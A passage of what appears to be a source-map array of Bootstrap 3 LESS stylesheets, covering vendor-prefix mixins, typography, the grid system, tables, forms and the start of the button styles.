Autoprefixer in our Gruntfile. They have been removed in v4.\n\n// - Animations\n// - Backface visibility\n// - Box shadow\n// - Box sizing\n// - Content columns\n// - Hyphens\n// - Placeholder text\n// - Transformations\n// - Transitions\n// - User Select\n\n\n// Animations\n.animation(@animation) {\n -webkit-animation: @animation;\n -o-animation: @animation;\n animation: @animation;\n}\n.animation-name(@name) {\n -webkit-animation-name: @name;\n animation-name: @name;\n}\n.animation-duration(@duration) {\n -webkit-animation-duration: @duration;\n animation-duration: @duration;\n}\n.animation-timing-function(@timing-function) {\n -webkit-animation-timing-function: @timing-function;\n animation-timing-function: @timing-function;\n}\n.animation-delay(@delay) {\n -webkit-animation-delay: @delay;\n animation-delay: @delay;\n}\n.animation-iteration-count(@iteration-count) {\n -webkit-animation-iteration-count: @iteration-count;\n animation-iteration-count: @iteration-count;\n}\n.animation-direction(@direction) {\n -webkit-animation-direction: @direction;\n animation-direction: @direction;\n}\n.animation-fill-mode(@fill-mode) {\n -webkit-animation-fill-mode: @fill-mode;\n animation-fill-mode: @fill-mode;\n}\n\n// Backface visibility\n// Prevent browsers from flickering when using CSS 3D transforms.\n// Default value is `visible`, but can be changed to `hidden`\n\n.backface-visibility(@visibility) {\n -webkit-backface-visibility: @visibility;\n -moz-backface-visibility: @visibility;\n backface-visibility: @visibility;\n}\n\n// Drop shadows\n//\n// Note: Deprecated `.box-shadow()` as of v3.1.0 since all of Bootstrap's\n// supported browsers that have box shadow capabilities now support it.\n\n.box-shadow(@shadow) {\n -webkit-box-shadow: @shadow; // iOS <4.3 & Android <4.1\n box-shadow: @shadow;\n}\n\n// Box sizing\n.box-sizing(@boxmodel) {\n -webkit-box-sizing: @boxmodel;\n -moz-box-sizing: @boxmodel;\n box-sizing: @boxmodel;\n}\n\n// CSS3 Content Columns\n.content-columns(@column-count; @column-gap: @grid-gutter-width) {\n -webkit-column-count: @column-count;\n -moz-column-count: @column-count;\n column-count: @column-count;\n -webkit-column-gap: @column-gap;\n -moz-column-gap: @column-gap;\n column-gap: @column-gap;\n}\n\n// Optional hyphenation\n.hyphens(@mode: auto) {\n word-wrap: break-word;\n -webkit-hyphens: @mode;\n -moz-hyphens: @mode;\n -ms-hyphens: @mode; // IE10+\n -o-hyphens: @mode;\n hyphens: @mode;\n}\n\n// Placeholder text\n.placeholder(@color: @input-color-placeholder) {\n // Firefox\n &::-moz-placeholder {\n color: @color;\n opacity: 1; // Override Firefox's unusual default opacity; see https://github.com/twbs/bootstrap/pull/11526\n }\n &:-ms-input-placeholder { color: @color; } // Internet Explorer 10+\n &::-webkit-input-placeholder { color: @color; } // Safari and Chrome\n}\n\n// Transformations\n.scale(@ratio) {\n -webkit-transform: scale(@ratio);\n -ms-transform: scale(@ratio); // IE9 only\n -o-transform: scale(@ratio);\n transform: scale(@ratio);\n}\n.scale(@ratioX; @ratioY) {\n -webkit-transform: scale(@ratioX, @ratioY);\n -ms-transform: scale(@ratioX, @ratioY); // IE9 only\n -o-transform: scale(@ratioX, @ratioY);\n transform: scale(@ratioX, @ratioY);\n}\n.scaleX(@ratio) {\n -webkit-transform: scaleX(@ratio);\n -ms-transform: scaleX(@ratio); // IE9 only\n -o-transform: scaleX(@ratio);\n transform: scaleX(@ratio);\n}\n.scaleY(@ratio) {\n -webkit-transform: scaleY(@ratio);\n -ms-transform: scaleY(@ratio); // IE9 only\n -o-transform: scaleY(@ratio);\n transform: scaleY(@ratio);\n}\n.skew(@x; @y) {\n -webkit-transform: skewX(@x) skewY(@y);\n -ms-transform: skewX(@x) skewY(@y); // See https://github.com/twbs/bootstrap/issues/4885; IE9+\n -o-transform: skewX(@x) skewY(@y);\n transform: skewX(@x) skewY(@y);\n}\n.translate(@x; @y) {\n -webkit-transform: translate(@x, @y);\n -ms-transform: translate(@x, @y); // IE9 only\n -o-transform: translate(@x, @y);\n transform: translate(@x, @y);\n}\n.translate3d(@x; @y; @z) {\n -webkit-transform: translate3d(@x, @y, @z);\n transform: translate3d(@x, @y, @z);\n}\n.rotate(@degrees) {\n -webkit-transform: rotate(@degrees);\n -ms-transform: rotate(@degrees); // IE9 only\n -o-transform: rotate(@degrees);\n transform: rotate(@degrees);\n}\n.rotateX(@degrees) {\n -webkit-transform: rotateX(@degrees);\n -ms-transform: rotateX(@degrees); // IE9 only\n -o-transform: rotateX(@degrees);\n transform: rotateX(@degrees);\n}\n.rotateY(@degrees) {\n -webkit-transform: rotateY(@degrees);\n -ms-transform: rotateY(@degrees); // IE9 only\n -o-transform: rotateY(@degrees);\n transform: rotateY(@degrees);\n}\n.perspective(@perspective) {\n -webkit-perspective: @perspective;\n -moz-perspective: @perspective;\n perspective: @perspective;\n}\n.perspective-origin(@perspective) {\n -webkit-perspective-origin: @perspective;\n -moz-perspective-origin: @perspective;\n perspective-origin: @perspective;\n}\n.transform-origin(@origin) {\n -webkit-transform-origin: @origin;\n -moz-transform-origin: @origin;\n -ms-transform-origin: @origin; // IE9 only\n transform-origin: @origin;\n}\n\n\n// Transitions\n\n.transition(@transition) {\n -webkit-transition: @transition;\n -o-transition: @transition;\n transition: @transition;\n}\n.transition-property(@transition-property) {\n -webkit-transition-property: @transition-property;\n transition-property: @transition-property;\n}\n.transition-delay(@transition-delay) {\n -webkit-transition-delay: @transition-delay;\n transition-delay: @transition-delay;\n}\n.transition-duration(@transition-duration) {\n -webkit-transition-duration: @transition-duration;\n transition-duration: @transition-duration;\n}\n.transition-timing-function(@timing-function) {\n -webkit-transition-timing-function: @timing-function;\n transition-timing-function: @timing-function;\n}\n.transition-transform(@transition) {\n -webkit-transition: -webkit-transform @transition;\n -moz-transition: -moz-transform @transition;\n -o-transition: -o-transform @transition;\n transition: transform @transition;\n}\n\n\n// User select\n// For selecting text on the page\n\n.user-select(@select) {\n -webkit-user-select: @select;\n -moz-user-select: @select;\n -ms-user-select: @select; // IE10+\n user-select: @select;\n}\n","// WebKit-style focus\n\n.tab-focus() {\n // WebKit-specific. Other browsers will keep their default outline style.\n // (Initially tried to also force default via `outline: initial`,\n // but that seems to erroneously remove the outline in Firefox altogether.)\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\n","// Image Mixins\n// - Responsive image\n// - Retina image\n\n\n// Responsive image\n//\n// Keep images from scaling beyond the width of their parents.\n.img-responsive(@display: block) {\n display: @display;\n max-width: 100%; // Part 1: Set a maximum relative to the parent\n height: auto; // Part 2: Scale the height according to the width, otherwise you get stretching\n}\n\n\n// Retina image\n//\n// Short retina mixin for setting background-image and -size. Note that the\n// spelling of `min--moz-device-pixel-ratio` is intentional.\n.img-retina(@file-1x; @file-2x; @width-1x; @height-1x) {\n background-image: url(\"@{file-1x}\");\n\n @media\n only screen and (-webkit-min-device-pixel-ratio: 2),\n only screen and ( min--moz-device-pixel-ratio: 2),\n only screen and ( -o-min-device-pixel-ratio: 2/1),\n only screen and ( min-device-pixel-ratio: 2),\n only screen and ( min-resolution: 192dpi),\n only screen and ( min-resolution: 2dppx) {\n background-image: url(\"@{file-2x}\");\n background-size: @width-1x @height-1x;\n }\n}\n","//\n// Typography\n// --------------------------------------------------\n\n\n// Headings\n// -------------------------\n\nh1, h2, h3, h4, h5, h6,\n.h1, .h2, .h3, .h4, .h5, .h6 {\n font-family: @headings-font-family;\n font-weight: @headings-font-weight;\n line-height: @headings-line-height;\n color: @headings-color;\n\n small,\n .small {\n font-weight: normal;\n line-height: 1;\n color: @headings-small-color;\n }\n}\n\nh1, .h1,\nh2, .h2,\nh3, .h3 {\n margin-top: @line-height-computed;\n margin-bottom: (@line-height-computed / 2);\n\n small,\n .small {\n font-size: 65%;\n }\n}\nh4, .h4,\nh5, .h5,\nh6, .h6 {\n margin-top: (@line-height-computed / 2);\n margin-bottom: (@line-height-computed / 2);\n\n small,\n .small {\n font-size: 75%;\n }\n}\n\nh1, .h1 { font-size: @font-size-h1; }\nh2, .h2 { font-size: @font-size-h2; }\nh3, .h3 { font-size: @font-size-h3; }\nh4, .h4 { font-size: @font-size-h4; }\nh5, .h5 { font-size: @font-size-h5; }\nh6, .h6 { font-size: @font-size-h6; }\n\n\n// Body text\n// -------------------------\n\np {\n margin: 0 0 (@line-height-computed / 2);\n}\n\n.lead {\n margin-bottom: @line-height-computed;\n font-size: floor((@font-size-base * 1.15));\n font-weight: 300;\n line-height: 1.4;\n\n @media (min-width: @screen-sm-min) {\n font-size: (@font-size-base * 1.5);\n }\n}\n\n\n// Emphasis & misc\n// -------------------------\n\n// Ex: (12px small font / 14px base font) * 100% = about 85%\nsmall,\n.small {\n font-size: floor((100% * @font-size-small / @font-size-base));\n}\n\nmark,\n.mark {\n background-color: @state-warning-bg;\n padding: .2em;\n}\n\n// Alignment\n.text-left { text-align: left; }\n.text-right { text-align: right; }\n.text-center { text-align: center; }\n.text-justify { text-align: justify; }\n.text-nowrap { white-space: nowrap; }\n\n// Transformation\n.text-lowercase { text-transform: lowercase; }\n.text-uppercase { text-transform: uppercase; }\n.text-capitalize { text-transform: capitalize; }\n\n// Contextual colors\n.text-muted {\n color: @text-muted;\n}\n.text-primary {\n .text-emphasis-variant(@brand-primary);\n}\n.text-success {\n .text-emphasis-variant(@state-success-text);\n}\n.text-info {\n .text-emphasis-variant(@state-info-text);\n}\n.text-warning {\n .text-emphasis-variant(@state-warning-text);\n}\n.text-danger {\n .text-emphasis-variant(@state-danger-text);\n}\n\n// Contextual backgrounds\n// For now we'll leave these alongside the text classes until v4 when we can\n// safely shift things around (per SemVer rules).\n.bg-primary {\n // Given the contrast here, this is the only class to have its color inverted\n // automatically.\n color: #fff;\n .bg-variant(@brand-primary);\n}\n.bg-success {\n .bg-variant(@state-success-bg);\n}\n.bg-info {\n .bg-variant(@state-info-bg);\n}\n.bg-warning {\n .bg-variant(@state-warning-bg);\n}\n.bg-danger {\n .bg-variant(@state-danger-bg);\n}\n\n\n// Page header\n// -------------------------\n\n.page-header {\n padding-bottom: ((@line-height-computed / 2) - 1);\n margin: (@line-height-computed * 2) 0 @line-height-computed;\n border-bottom: 1px solid @page-header-border-color;\n}\n\n\n// Lists\n// -------------------------\n\n// Unordered and Ordered lists\nul,\nol {\n margin-top: 0;\n margin-bottom: (@line-height-computed / 2);\n ul,\n ol {\n margin-bottom: 0;\n }\n}\n\n// List options\n\n// Unstyled keeps list items block level, just removes default browser padding and list-style\n.list-unstyled {\n padding-left: 0;\n list-style: none;\n}\n\n// Inline turns list items into inline-block\n.list-inline {\n .list-unstyled();\n margin-left: -5px;\n\n > li {\n display: inline-block;\n padding-left: 5px;\n padding-right: 5px;\n }\n}\n\n// Description Lists\ndl {\n margin-top: 0; // Remove browser default\n margin-bottom: @line-height-computed;\n}\ndt,\ndd {\n line-height: @line-height-base;\n}\ndt {\n font-weight: bold;\n}\ndd {\n margin-left: 0; // Undo browser default\n}\n\n// Horizontal description lists\n//\n// Defaults to being stacked without any of the below styles applied, until the\n// grid breakpoint is reached (default of ~768px).\n\n.dl-horizontal {\n dd {\n &:extend(.clearfix all); // Clear the floated `dt` if an empty `dd` is present\n }\n\n @media (min-width: @dl-horizontal-breakpoint) {\n dt {\n float: left;\n width: (@dl-horizontal-offset - 20);\n clear: left;\n text-align: right;\n .text-overflow();\n }\n dd {\n margin-left: @dl-horizontal-offset;\n }\n }\n}\n\n\n// Misc\n// -------------------------\n\n// Abbreviations and acronyms\nabbr[title],\n// Add data-* attribute to help out our tooltip plugin, per https://github.com/twbs/bootstrap/issues/5257\nabbr[data-original-title] {\n cursor: help;\n border-bottom: 1px dotted @abbr-border-color;\n}\n.initialism {\n font-size: 90%;\n .text-uppercase();\n}\n\n// Blockquotes\nblockquote {\n padding: (@line-height-computed / 2) @line-height-computed;\n margin: 0 0 @line-height-computed;\n font-size: @blockquote-font-size;\n border-left: 5px solid @blockquote-border-color;\n\n p,\n ul,\n ol {\n &:last-child {\n margin-bottom: 0;\n }\n }\n\n // Note: Deprecated small and .small as of v3.1.0\n // Context: https://github.com/twbs/bootstrap/issues/11660\n footer,\n small,\n .small {\n display: block;\n font-size: 80%; // back to default font-size\n line-height: @line-height-base;\n color: @blockquote-small-color;\n\n &:before {\n content: '\\2014 \\00A0'; // em dash, nbsp\n }\n }\n}\n\n// Opposite alignment of blockquote\n//\n// Heads up: `blockquote.pull-right` has been deprecated as of v3.1.0.\n.blockquote-reverse,\nblockquote.pull-right {\n padding-right: 15px;\n padding-left: 0;\n border-right: 5px solid @blockquote-border-color;\n border-left: 0;\n text-align: right;\n\n // Account for citation\n footer,\n small,\n .small {\n &:before { content: ''; }\n &:after {\n content: '\\00A0 \\2014'; // nbsp, em dash\n }\n }\n}\n\n// Addresses\naddress {\n margin-bottom: @line-height-computed;\n font-style: normal;\n line-height: @line-height-base;\n}\n","// Typography\n\n.text-emphasis-variant(@color) {\n color: @color;\n a&:hover,\n a&:focus {\n color: darken(@color, 10%);\n }\n}\n","// Contextual backgrounds\n\n.bg-variant(@color) {\n background-color: @color;\n a&:hover,\n a&:focus {\n background-color: darken(@color, 10%);\n }\n}\n","// Text overflow\n// Requires inline-block or block for proper styling\n\n.text-overflow() {\n overflow: hidden;\n text-overflow: ellipsis;\n white-space: nowrap;\n}\n","//\n// Code (inline and block)\n// --------------------------------------------------\n\n\n// Inline and block code styles\ncode,\nkbd,\npre,\nsamp {\n font-family: @font-family-monospace;\n}\n\n// Inline code\ncode {\n padding: 2px 4px;\n font-size: 90%;\n color: @code-color;\n background-color: @code-bg;\n border-radius: @border-radius-base;\n}\n\n// User input typically entered via keyboard\nkbd {\n padding: 2px 4px;\n font-size: 90%;\n color: @kbd-color;\n background-color: @kbd-bg;\n border-radius: @border-radius-small;\n box-shadow: inset 0 -1px 0 rgba(0,0,0,.25);\n\n kbd {\n padding: 0;\n font-size: 100%;\n font-weight: bold;\n box-shadow: none;\n }\n}\n\n// Blocks of code\npre {\n display: block;\n padding: ((@line-height-computed - 1) / 2);\n margin: 0 0 (@line-height-computed / 2);\n font-size: (@font-size-base - 1); // 14px to 13px\n line-height: @line-height-base;\n word-break: break-all;\n word-wrap: break-word;\n color: @pre-color;\n background-color: @pre-bg;\n border: 1px solid @pre-border-color;\n border-radius: @border-radius-base;\n\n // Account for some code outputs that place code tags in pre tags\n code {\n padding: 0;\n font-size: inherit;\n color: inherit;\n white-space: pre-wrap;\n background-color: transparent;\n border-radius: 0;\n }\n}\n\n// Enable scrollable blocks of code\n.pre-scrollable {\n max-height: @pre-scrollable-max-height;\n overflow-y: scroll;\n}\n","//\n// Grid system\n// --------------------------------------------------\n\n\n// Container widths\n//\n// Set the container width, and override it for fixed navbars in media queries.\n\n.container {\n .container-fixed();\n\n @media (min-width: @screen-sm-min) {\n width: @container-sm;\n }\n @media (min-width: @screen-md-min) {\n width: @container-md;\n }\n @media (min-width: @screen-lg-min) {\n width: @container-lg;\n }\n}\n\n\n// Fluid container\n//\n// Utilizes the mixin meant for fixed width containers, but without any defined\n// width for fluid, full width layouts.\n\n.container-fluid {\n .container-fixed();\n}\n\n\n// Row\n//\n// Rows contain and clear the floats of your columns.\n\n.row {\n .make-row();\n}\n\n\n// Columns\n//\n// Common styles for small and large grid columns\n\n.make-grid-columns();\n\n\n// Extra small grid\n//\n// Columns, offsets, pushes, and pulls for extra small devices like\n// smartphones.\n\n.make-grid(xs);\n\n\n// Small grid\n//\n// Columns, offsets, pushes, and pulls for the small device range, from phones\n// to tablets.\n\n@media (min-width: @screen-sm-min) {\n .make-grid(sm);\n}\n\n\n// Medium grid\n//\n// Columns, offsets, pushes, and pulls for the desktop device range.\n\n@media (min-width: @screen-md-min) {\n .make-grid(md);\n}\n\n\n// Large grid\n//\n// Columns, offsets, pushes, and pulls for the large desktop device range.\n\n@media (min-width: @screen-lg-min) {\n .make-grid(lg);\n}\n","// Grid system\n//\n// Generate semantic grid columns with these mixins.\n\n// Centered container element\n.container-fixed(@gutter: @grid-gutter-width) {\n margin-right: auto;\n margin-left: auto;\n padding-left: floor((@gutter / 2));\n padding-right: ceil((@gutter / 2));\n &:extend(.clearfix all);\n}\n\n// Creates a wrapper for a series of columns\n.make-row(@gutter: @grid-gutter-width) {\n margin-left: ceil((@gutter / -2));\n margin-right: floor((@gutter / -2));\n &:extend(.clearfix all);\n}\n\n// Generate the extra small columns\n.make-xs-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n float: left;\n width: percentage((@columns / @grid-columns));\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n}\n.make-xs-column-offset(@columns) {\n margin-left: percentage((@columns / @grid-columns));\n}\n.make-xs-column-push(@columns) {\n left: percentage((@columns / @grid-columns));\n}\n.make-xs-column-pull(@columns) {\n right: percentage((@columns / @grid-columns));\n}\n\n// Generate the small columns\n.make-sm-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n\n @media (min-width: @screen-sm-min) {\n float: left;\n width: percentage((@columns / @grid-columns));\n }\n}\n.make-sm-column-offset(@columns) {\n @media (min-width: @screen-sm-min) {\n margin-left: percentage((@columns / @grid-columns));\n }\n}\n.make-sm-column-push(@columns) {\n @media (min-width: @screen-sm-min) {\n left: percentage((@columns / @grid-columns));\n }\n}\n.make-sm-column-pull(@columns) {\n @media (min-width: @screen-sm-min) {\n right: percentage((@columns / @grid-columns));\n }\n}\n\n// Generate the medium columns\n.make-md-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n\n @media (min-width: @screen-md-min) {\n float: left;\n width: percentage((@columns / @grid-columns));\n }\n}\n.make-md-column-offset(@columns) {\n @media (min-width: @screen-md-min) {\n margin-left: percentage((@columns / @grid-columns));\n }\n}\n.make-md-column-push(@columns) {\n @media (min-width: @screen-md-min) {\n left: percentage((@columns / @grid-columns));\n }\n}\n.make-md-column-pull(@columns) {\n @media (min-width: @screen-md-min) {\n right: percentage((@columns / @grid-columns));\n }\n}\n\n// Generate the large columns\n.make-lg-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n\n @media (min-width: @screen-lg-min) {\n float: left;\n width: percentage((@columns / @grid-columns));\n }\n}\n.make-lg-column-offset(@columns) {\n @media (min-width: @screen-lg-min) {\n margin-left: percentage((@columns / @grid-columns));\n }\n}\n.make-lg-column-push(@columns) {\n @media (min-width: @screen-lg-min) {\n left: percentage((@columns / @grid-columns));\n }\n}\n.make-lg-column-pull(@columns) {\n @media (min-width: @screen-lg-min) {\n right: percentage((@columns / @grid-columns));\n }\n}\n","// Framework grid generation\n//\n// Used only by Bootstrap to generate the correct number of grid classes given\n// any value of `@grid-columns`.\n\n.make-grid-columns() {\n // Common styles for all sizes of grid columns, widths 1-12\n .col(@index) { // initial\n @item: ~\".col-xs-@{index}, .col-sm-@{index}, .col-md-@{index}, .col-lg-@{index}\";\n .col((@index + 1), @item);\n }\n .col(@index, @list) when (@index =< @grid-columns) { // general; \"=<\" isn't a typo\n @item: ~\".col-xs-@{index}, .col-sm-@{index}, .col-md-@{index}, .col-lg-@{index}\";\n .col((@index + 1), ~\"@{list}, @{item}\");\n }\n .col(@index, @list) when (@index > @grid-columns) { // terminal\n @{list} {\n position: relative;\n // Prevent columns from collapsing when empty\n min-height: 1px;\n // Inner gutter via padding\n padding-left: ceil((@grid-gutter-width / 2));\n padding-right: floor((@grid-gutter-width / 2));\n }\n }\n .col(1); // kickstart it\n}\n\n.float-grid-columns(@class) {\n .col(@index) { // initial\n @item: ~\".col-@{class}-@{index}\";\n .col((@index + 1), @item);\n }\n .col(@index, @list) when (@index =< @grid-columns) { // general\n @item: ~\".col-@{class}-@{index}\";\n .col((@index + 1), ~\"@{list}, @{item}\");\n }\n .col(@index, @list) when (@index > @grid-columns) { // terminal\n @{list} {\n float: left;\n }\n }\n .col(1); // kickstart it\n}\n\n.calc-grid-column(@index, @class, @type) when (@type = width) and (@index > 0) {\n .col-@{class}-@{index} {\n width: percentage((@index / @grid-columns));\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = push) and (@index > 0) {\n .col-@{class}-push-@{index} {\n left: percentage((@index / @grid-columns));\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = push) and (@index = 0) {\n .col-@{class}-push-0 {\n left: auto;\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = pull) and (@index > 0) {\n .col-@{class}-pull-@{index} {\n right: percentage((@index / @grid-columns));\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = pull) and (@index = 0) {\n .col-@{class}-pull-0 {\n right: auto;\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = offset) {\n .col-@{class}-offset-@{index} {\n margin-left: percentage((@index / @grid-columns));\n }\n}\n\n// Basic looping in LESS\n.loop-grid-columns(@index, @class, @type) when (@index >= 0) {\n .calc-grid-column(@index, @class, @type);\n // next iteration\n .loop-grid-columns((@index - 1), @class, @type);\n}\n\n// Create grid for specific class\n.make-grid(@class) {\n .float-grid-columns(@class);\n .loop-grid-columns(@grid-columns, @class, width);\n .loop-grid-columns(@grid-columns, @class, pull);\n .loop-grid-columns(@grid-columns, @class, push);\n .loop-grid-columns(@grid-columns, @class, offset);\n}\n","//\n// Tables\n// --------------------------------------------------\n\n\ntable {\n background-color: @table-bg;\n}\ncaption {\n padding-top: @table-cell-padding;\n padding-bottom: @table-cell-padding;\n color: @text-muted;\n text-align: left;\n}\nth {\n text-align: left;\n}\n\n\n// Baseline styles\n\n.table {\n width: 100%;\n max-width: 100%;\n margin-bottom: @line-height-computed;\n // Cells\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n padding: @table-cell-padding;\n line-height: @line-height-base;\n vertical-align: top;\n border-top: 1px solid @table-border-color;\n }\n }\n }\n // Bottom align for column headings\n > thead > tr > th {\n vertical-align: bottom;\n border-bottom: 2px solid @table-border-color;\n }\n // Remove top border from thead by default\n > caption + thead,\n > colgroup + thead,\n > thead:first-child {\n > tr:first-child {\n > th,\n > td {\n border-top: 0;\n }\n }\n }\n // Account for multiple tbody instances\n > tbody + tbody {\n border-top: 2px solid @table-border-color;\n }\n\n // Nesting\n .table {\n background-color: @body-bg;\n }\n}\n\n\n// Condensed table w/ half padding\n\n.table-condensed {\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n padding: @table-condensed-cell-padding;\n }\n }\n }\n}\n\n\n// Bordered version\n//\n// Add borders all around the table and between all the columns.\n\n.table-bordered {\n border: 1px solid @table-border-color;\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n border: 1px solid @table-border-color;\n }\n }\n }\n > thead > tr {\n > th,\n > td {\n border-bottom-width: 2px;\n }\n }\n}\n\n\n// Zebra-striping\n//\n// Default zebra-stripe styles (alternating gray and transparent backgrounds)\n\n.table-striped {\n > tbody > tr:nth-of-type(odd) {\n background-color: @table-bg-accent;\n }\n}\n\n\n// Hover effect\n//\n// Placed here since it has to come after the potential zebra striping\n\n.table-hover {\n > tbody > tr:hover {\n background-color: @table-bg-hover;\n }\n}\n\n\n// Table cell sizing\n//\n// Reset default table behavior\n\ntable col[class*=\"col-\"] {\n position: static; // Prevent border hiding in Firefox and IE9-11 (see https://github.com/twbs/bootstrap/issues/11623)\n float: none;\n display: table-column;\n}\ntable {\n td,\n th {\n &[class*=\"col-\"] {\n position: static; // Prevent border hiding in Firefox and IE9-11 (see https://github.com/twbs/bootstrap/issues/11623)\n float: none;\n display: table-cell;\n }\n }\n}\n\n\n// Table backgrounds\n//\n// Exact selectors below required to override `.table-striped` and prevent\n// inheritance to nested tables.\n\n// Generate the contextual variants\n.table-row-variant(active; @table-bg-active);\n.table-row-variant(success; @state-success-bg);\n.table-row-variant(info; @state-info-bg);\n.table-row-variant(warning; @state-warning-bg);\n.table-row-variant(danger; @state-danger-bg);\n\n\n// Responsive tables\n//\n// Wrap your tables in `.table-responsive` and we'll make them mobile friendly\n// by enabling horizontal scrolling. Only applies <768px. Everything above that\n// will display normally.\n\n.table-responsive {\n overflow-x: auto;\n min-height: 0.01%; // Workaround for IE9 bug (see https://github.com/twbs/bootstrap/issues/14837)\n\n @media screen and (max-width: @screen-xs-max) {\n width: 100%;\n margin-bottom: (@line-height-computed * 0.75);\n overflow-y: hidden;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n border: 1px solid @table-border-color;\n\n // Tighten up spacing\n > .table {\n margin-bottom: 0;\n\n // Ensure the content doesn't wrap\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n white-space: nowrap;\n }\n }\n }\n }\n\n // Special overrides for the bordered tables\n > .table-bordered {\n border: 0;\n\n // Nuke the appropriate borders so that the parent can handle them\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th:first-child,\n > td:first-child {\n border-left: 0;\n }\n > th:last-child,\n > td:last-child {\n border-right: 0;\n }\n }\n }\n\n // Only nuke the last row's bottom-border in `tbody` and `tfoot` since\n // chances are there will be only one `tr` in a `thead` and that would\n // remove the border altogether.\n > tbody,\n > tfoot {\n > tr:last-child {\n > th,\n > td {\n border-bottom: 0;\n }\n }\n }\n\n }\n }\n}\n","// Tables\n\n.table-row-variant(@state; @background) {\n // Exact selectors below required to override `.table-striped` and prevent\n // inheritance to nested tables.\n .table > thead > tr,\n .table > tbody > tr,\n .table > tfoot > tr {\n > td.@{state},\n > th.@{state},\n &.@{state} > td,\n &.@{state} > th {\n background-color: @background;\n }\n }\n\n // Hover states for `.table-hover`\n // Note: this is not available for cells or rows within `thead` or `tfoot`.\n .table-hover > tbody > tr {\n > td.@{state}:hover,\n > th.@{state}:hover,\n &.@{state}:hover > td,\n &:hover > .@{state},\n &.@{state}:hover > th {\n background-color: darken(@background, 5%);\n }\n }\n}\n","//\n// Forms\n// --------------------------------------------------\n\n\n// Normalize non-controls\n//\n// Restyle and baseline non-control form elements.\n\nfieldset {\n padding: 0;\n margin: 0;\n border: 0;\n // Chrome and Firefox set a `min-width: min-content;` on fieldsets,\n // so we reset that to ensure it behaves more like a standard block element.\n // See https://github.com/twbs/bootstrap/issues/12359.\n min-width: 0;\n}\n\nlegend {\n display: block;\n width: 100%;\n padding: 0;\n margin-bottom: @line-height-computed;\n font-size: (@font-size-base * 1.5);\n line-height: inherit;\n color: @legend-color;\n border: 0;\n border-bottom: 1px solid @legend-border-color;\n}\n\nlabel {\n display: inline-block;\n max-width: 100%; // Force IE8 to wrap long content (see https://github.com/twbs/bootstrap/issues/13141)\n margin-bottom: 5px;\n font-weight: bold;\n}\n\n\n// Normalize form controls\n//\n// While most of our form styles require extra classes, some basic normalization\n// is required to ensure optimum display with or without those classes to better\n// address browser inconsistencies.\n\n// Override content-box in Normalize (* isn't specific enough)\ninput[type=\"search\"] {\n .box-sizing(border-box);\n}\n\n// Position radios and checkboxes better\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n margin: 4px 0 0;\n margin-top: 1px \\9; // IE8-9\n line-height: normal;\n}\n\ninput[type=\"file\"] {\n display: block;\n}\n\n// Make range inputs behave like textual form controls\ninput[type=\"range\"] {\n display: block;\n width: 100%;\n}\n\n// Make multiple select elements height not fixed\nselect[multiple],\nselect[size] {\n height: auto;\n}\n\n// Focus for file, radio, and checkbox\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n .tab-focus();\n}\n\n// Adjust output element\noutput {\n display: block;\n padding-top: (@padding-base-vertical + 1);\n font-size: @font-size-base;\n line-height: @line-height-base;\n color: @input-color;\n}\n\n\n// Common form controls\n//\n// Shared size and type resets for form controls. Apply `.form-control` to any\n// of the following form controls:\n//\n// select\n// textarea\n// input[type=\"text\"]\n// input[type=\"password\"]\n// input[type=\"datetime\"]\n// input[type=\"datetime-local\"]\n// input[type=\"date\"]\n// input[type=\"month\"]\n// input[type=\"time\"]\n// input[type=\"week\"]\n// input[type=\"number\"]\n// input[type=\"email\"]\n// input[type=\"url\"]\n// input[type=\"search\"]\n// input[type=\"tel\"]\n// input[type=\"color\"]\n\n.form-control {\n display: block;\n width: 100%;\n height: @input-height-base; // Make inputs at least the height of their button counterpart (base line-height + padding + border)\n padding: @padding-base-vertical @padding-base-horizontal;\n font-size: @font-size-base;\n line-height: @line-height-base;\n color: @input-color;\n background-color: @input-bg;\n background-image: none; // Reset unusual Firefox-on-Android default style; see https://github.com/necolas/normalize.css/issues/214\n border: 1px solid @input-border;\n border-radius: @input-border-radius; // Note: This has no effect on s in CSS.\n .box-shadow(inset 0 1px 1px rgba(0,0,0,.075));\n .transition(~\"border-color ease-in-out .15s, box-shadow ease-in-out .15s\");\n\n // Customize the `:focus` state to imitate native WebKit styles.\n .form-control-focus();\n\n // Placeholder\n .placeholder();\n\n // Unstyle the caret on ``\n// element gets special love because it's special, and that's a fact!\n.input-size(@input-height; @padding-vertical; @padding-horizontal; @font-size; @line-height; @border-radius) {\n height: @input-height;\n padding: @padding-vertical @padding-horizontal;\n font-size: @font-size;\n line-height: @line-height;\n border-radius: @border-radius;\n\n select& {\n height: @input-height;\n line-height: @input-height;\n }\n\n textarea&,\n select[multiple]& {\n height: auto;\n }\n}\n","//\n// Buttons\n// --------------------------------------------------\n\n\n// Base styles\n// --------------------------------------------------\n\n.btn {\n display: inline-block;\n margin-bottom: 0; // For input.btn\n font-weight: @btn-font-weight;\n text-align: center;\n vertical-align: middle;\n touch-action: manipulation;\n cursor: pointer;\n background-image: none; // Reset unusual Firefox-on-Android default style; see https://github.com/necolas/normalize.css/issues/214\n border: 1px solid transparent;\n white-space: nowrap;\n .button-size(@padding-base-vertical; @padding-base-horizontal; @font-size-base; @line-height-base; @btn-border-radius-base);\n 